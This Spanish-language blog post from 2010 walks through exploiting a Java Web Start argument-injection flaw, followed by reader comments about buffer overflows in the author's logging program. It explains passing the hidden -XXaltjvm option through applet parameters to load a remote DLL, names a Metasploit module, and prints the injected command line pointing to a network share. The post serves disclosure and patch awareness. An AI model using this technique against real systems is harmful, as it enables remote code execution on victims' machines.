martes, 4 de mayo de 2010

Explotando Java Web Start

En nuestro post de ayer comentabamos con detalle la vulnerabilidad en Java Web Start encontrada recientemente por Ruben Santamarta y Tavis Ormandy, pero nos quedabamos con un par de preguntas: ¿Podemos controlar el contenido de esas variables que son utilizadas para formar la llamada al binario sin ningún tipo de filtraro? ¿Cómo lo haríamos?

Pues bien, ¡vamos allá!

Según se puede leer en la documentación oficial de Java sobre como utilizar los tags Applet, Embed y Object, es posible establecer como parámetros los valores de estas variables que comentabamos en nuestro post anterior. Como resultado, podriamos contruir un código HTML que, al ser visitado por nuestro objetivo, ejecutara el Applet Java que le pasaramos, con las opciones que nosotros queramos, debido a esta vulnerabilidad.

Vamos a comprobarlo con este pequeño código de ejemplo:


Hemos incluido en las opciones todo tipo de caracteres que nos pudieran resultar útiles a la hora de la explotación, como guiones, comillas y tuberías, para comprobar si efectivamente las cadenas que introduzcamos en este código HTML van a utilizarse tal cual en la llamada al binario de Java, sin ningún tipo de filtrado.

Para comprobar exactamente como es la llamada a la función, nos hemos hecho un sencillo programita en C que sencillamente lo que hace es capturar las opciones con las que ha sido llamado y las guarda en un fichero de texto, a modo de log:

(Disclaimer: Este código ha sido desarrollado de forma rápida para realizar la demostración sin tener en consideración las buenas prácticas de programación y seguridad. NO utilizar en entornos diferentes a pruebas ni de ninguna manera en la que no se controle los parámetros con lo que es llamado el binario)

Este código, una vez compilado, ha sustituido al binario javaws.exe, para de esta manera poder disponer de un registro en el que veremos exactamente como han sido las llamadas, obteniendo el siguiente resultado:


Como podemos ver, esta vulnerabilidad nos va a permitir establecer las opciones que queramos en la llamada a javaws.exe, aunque no realizar directamente una ejecución de comandos, ya que el binario es llamado mediante la función CreateProcess, y no lanzado directamente a una shell de comandos. No obstante, pegando un vistazo a las opciones que nos permite utilizar javaws.exe, tenemos las siguientes:


Mediante la opción "-J" podemos establecer parámetros que serán enviados directamente a la máquina virtual, incluida una opción oculta de la máquina virtual y que no aparece en los menús de ayuda, llamada -XXaltjvm, que nos permitiría la inclusión de una librería alternativa.

¡BINGO! Si podemos incluir una librería podemos crear una librería que sea accesible a través de la red y que realice la ejecución del payload que queramos. Luego solo hay que pasar los parámetros adecuados a través del HTML que veíamos antes para que nuestra DLL sea cargada y... tachan! ejecución remota de código.

Para realizar todo esto de una forma cómoda, existe un plugin de Metasploit llamado java_ws_arginject_altjvm que podemos utilizar, veamos con que opciones:


Una vez lanzado el exploit, un servidor HTTP será lanzado a la escucha en el puerto 80, esperando conexiones a las que les devolverá el código HTML que explota la vulnerabilidad, obteniendo así el control de la máquina:


Si sustituimos de nuevo el binario javaws.exe por nuestro binario que registra los parámetros, obtenemos que el exploit de Metasploit está introduciendo los siguientes parámetros:

javaws.exe -docbase -J-XXaltjvm=\\172.16.24.150\aleatorio1 aleatorio2.jnlp

Esta vulnerabilidad es considerada de criticidad máxima, por lo que se recomienda a todos los usuarios de prácticamente cualquier sistema operativo que actualicen su versión de Java a la última disponible, y se aseguren que esta es al menos la 1.6.0_20, ya que esta es la versión en la que se introdujo el parche de esta vulnerabilidad. Más información en las release notes.

10 comentarios :

palako dijo...

El post mola, pero lo de comerte dos buffer overflows en el codigo de ejemplo, ya te vale!.... en casa del herrero cuchillo de palo, eh? snprintf y strncat, hombre!! Vas a tener que jugar mas al intruded.net :)

Saludos!

Jose Selvi dijo...

@palako: jajajaja, que me he comido un buffet de que? No conozco el "overflow" ese, es un chino? ;)

Había apostado con 1 compañero cuanto tardaba alguien en decirme algo xDDDDD

Ni para 1 ejemplillo de nada me dejais ser perezoso, coño

Luego le pongo 1 disclaimer o algo para que nadie use ese código en producción ni nada.

@palako, te odio ;P

palako dijo...

"@palako, te odio ;P" ... Suele pasar :)

Y no te cuesta menos ponerle una n al print y al cat que escribir el disclaimer? jajaja

Jose Selvi dijo...

@palako: cambiar la llamada y hacer otra captura sí, es un momento, pero en primer lugar lo tengo en casa y no lo podía hacer ahora, y en segundo, si cambio el código quiero volver a probarlo, que sino luego me dirás que el código no compila! ;P

palako dijo...

vale vale :P

PS. Me he reido un rato con tu comentario en Linked In :)

Jose Selvi dijo...

@palako: Ha sido para darle un toque original a la invitación ;)

Pablo Sanchez dijo...

Buen artículo.Está muy bien explicado.
w3wes@jamon-espana.com.es

damontero dijo...

Muy curradas las dos entrades sobre Java Web Start. Sigue así José :)


PD: palako no perdona!!

Jose Selvi dijo...

Gracias @damontero :)

En realidad Palako tiene razón, son dos cachos buffer overflow como dos camiones, pero vamos... es un código de ejemplillo "de na", era consciente de los fallos cuando lo hice, de hecho aposté con un amigo a ver cuanto tardaba alguien en decirme algo xD

damontero dijo...

Espero que apostaras fuerte :)